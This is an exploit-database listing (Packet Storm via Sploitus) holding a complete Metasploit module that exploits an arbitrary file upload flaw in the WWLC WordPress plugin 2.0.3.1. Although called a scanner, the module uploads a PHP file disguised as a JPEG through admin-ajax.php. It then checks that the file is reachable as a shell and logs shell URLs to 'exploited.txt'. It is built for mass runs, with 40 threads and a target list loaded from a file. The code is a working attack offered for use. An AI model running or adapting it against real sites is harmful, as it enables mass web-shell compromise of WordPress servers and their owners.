Share
## https://sploitus.com/exploit?id=PACKETSTORM:217188
=============================================================================================================================================
    | # Title     : WWLC WordPress Plugin 2.0.3.1 Arbitrary File Upload Vulnerability Scanner                                                   |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://woocommerce.com/                                                                                                    |
    =============================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module scans WordPress websites for an arbitrary file upload vulnerability in the WWLC plugin. The module attempts to upload a 
                     crafted PHP file through the vulnerable AJAX endpoint (admin-ajax.php) using the wwlc_file_upload_handler action. 
    				 If the upload is successful, the module verifies the uploaded file by sending a request to the generated file path in the WordPress uploads directory. 
    				 The scanner supports multi-threaded scanning, retry mechanisms, 
    				 and the ability to load target websites from a file for large-scale assessments. 
                     Successful findings are logged locally and reported to the Metasploit database for further analysis.
    			  
    [+] POC   : 
    
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'json'
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WWLC File Upload Vulnerability Scanner',
            'Description' => %q{
              This module scans for WordPress WWLC plugin arbitrary file upload vulnerability.
              It attempts to upload a PHP file and verify successful upload.
            },
            'Author' => [ 'indoushka' ],
            'License' => MSF_LICENSE,
            'References' => [
              [ 'URL', 'https://example.com/wwlc-vulnerability' ]
            ],
            'DisclosureDate' => '2026-03-13'
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
            OptPath.new('PAYLOAD_FILE', [true, 'PHP file to upload', '/path/to/404_protected.php']),
            OptInt.new('THREADS', [true, 'Number of threads', 40]),
            OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 10]),
            OptInt.new('RETRIES', [true, 'Number of retries', 6]),
            OptString.new('SITES_FILE', [false, 'File containing list of sites', 'kll.txt'])
          ]
        )
    
        register_advanced_options(
          [
            OptString.new('ALLOWED_FILE_TYPES', [true, 'Allowed file types', 'php,png,jpg']),
            OptInt.new('MAX_FILE_SIZE', [true, 'Max allowed file size', 5000000])
          ]
        )
      end
    
      def setup
        @vuln_file = 'vuln.txt'
        @bpvuln_file = 'exploited.txt'
    
        [@bpvuln_file, @vuln_file].each do |f|
          File.delete(f) if File.exist?(f)
        end
    
        if datastore['SITES_FILE'] && File.exist?(datastore['SITES_FILE'])
          @sites_from_file = File.read(datastore['SITES_FILE']).split("\n").map(&:strip).reject(&:empty?)
        else
          @sites_from_file = []
        end
      end
    
      def run_host(ip)
        site = full_uri
        check_vulnerability(site)
      end
    
      def run
        if !@sites_from_file.empty?
          print_status("Loaded #{@sites_from_file.size} sites from file")
          scan_from_file
        else
          print_status("Starting scan...")
          super
        end
      end
    
      def scan_from_file
        threads = []
        queue = Queue.new
    
        @sites_from_file.each { |site| queue << site }
    
        thread_count = [datastore['THREADS'], queue.size].min
        thread_count = 1 if thread_count < 1
    
        thread_count.times do
          threads << framework.threads.spawn("Module(#{refname})", false) do
            until queue.empty?
              site = queue.pop rescue nil
              check_vulnerability(site) if site
            end
          end
        end
    
        threads.each(&:join)
      end
    
      def normalize_site(site)
        site = site.strip
        unless site.start_with?('http://', 'https://')
          site = "http://#{site}"
        end
        site.chomp('/')
      end
    
      def check_vulnerability(site)
        site = normalize_site(site)
        print_status("Testing: #{site}")
    
        retries = 0
    
        while retries < datastore['RETRIES']
          begin
            parsed = URI.parse(site)
    
            base = "#{parsed.scheme}://#{parsed.host}"
            base += ":#{parsed.port}" unless [80,443].include?(parsed.port)
    
            base_path = parsed.path.empty? ? '/' : parsed.path
    
            ajax_url = normalize_uri(base_path, 'wp-admin', 'admin-ajax.php')
            uploads_dir = normalize_uri(base_path, 'wp-content', 'uploads')
    
            unless File.exist?(datastore['PAYLOAD_FILE'])
              print_error("Payload file not found: #{datastore['PAYLOAD_FILE']}")
              return
            end
    
            file_data = File.read(datastore['PAYLOAD_FILE'])
    
            file_settings = {
              'allowed_file_types' => datastore['ALLOWED_FILE_TYPES'].split(','),
              'max_allowed_file_size' => datastore['MAX_FILE_SIZE']
            }
    
            multipart_form = Rex::MIME::Message.new
            multipart_form.add_part('wwlc_file_upload_handler', nil, nil, 'form-data; name="action"')
            multipart_form.add_part(JSON.generate(file_settings), 'application/json', nil, 'form-data; name="file_settings"')
            multipart_form.add_part(file_data, 'image/jpeg', nil, 'form-data; name="uploaded_file"; filename="404.php.jpg"')
    
            res = send_request_cgi({
              'method' => 'POST',
              'uri' => ajax_url,
              'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
              'data' => multipart_form.to_s,
              'headers' => {
                'Accept' => 'application/json, text/javascript, */*; q=0.01'
              }
            }, datastore['TIMEOUT'])
    
            if res && res.code == 200
              begin
                data = JSON.parse(res.body)
    
                if data['status'] == 'success' && data['file_name']
                  filename = data['file_name']
                  shell_path = normalize_uri(uploads_dir, filename)
    
                  verify_res = send_request_cgi({
                    'method' => 'GET',
                    'uri' => shell_path
                  }, datastore['TIMEOUT'])
    
                  if verify_res && verify_res.code == 200
                    shell_url = "#{base}#{shell_path}"
    
                    print_good("#{site} -> #{shell_url}")
    
                    File.open(@bpvuln_file, 'a') { |f| f.puts(shell_url) }
                    File.open(@vuln_file, 'a') { |f| f.puts("#{base}#{uploads_dir}") }
    
                    report_vuln(
                      host: parsed.host,
                      port: parsed.port,
                      name: name,
                      refs: references,
                      info: "Uploaded shell: #{shell_url}"
                    )
    
                    return
                  end
                end
              rescue JSON::ParserError
              end
            end
    
            print_status("Failed: #{site}")
            break
    
          rescue ::Rex::ConnectionError, ::Rex::TimeoutError
            retries += 1
            if retries < datastore['RETRIES']
              print_status("Retry #{retries}/#{datastore['RETRIES']} for #{site}")
              sleep(1)
            else
              print_error("Failed after retries: #{site}")
            end
          rescue => e
            print_error("Error: #{site} - #{e.message}")
            break
          end
        end
      end
    end
    	
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================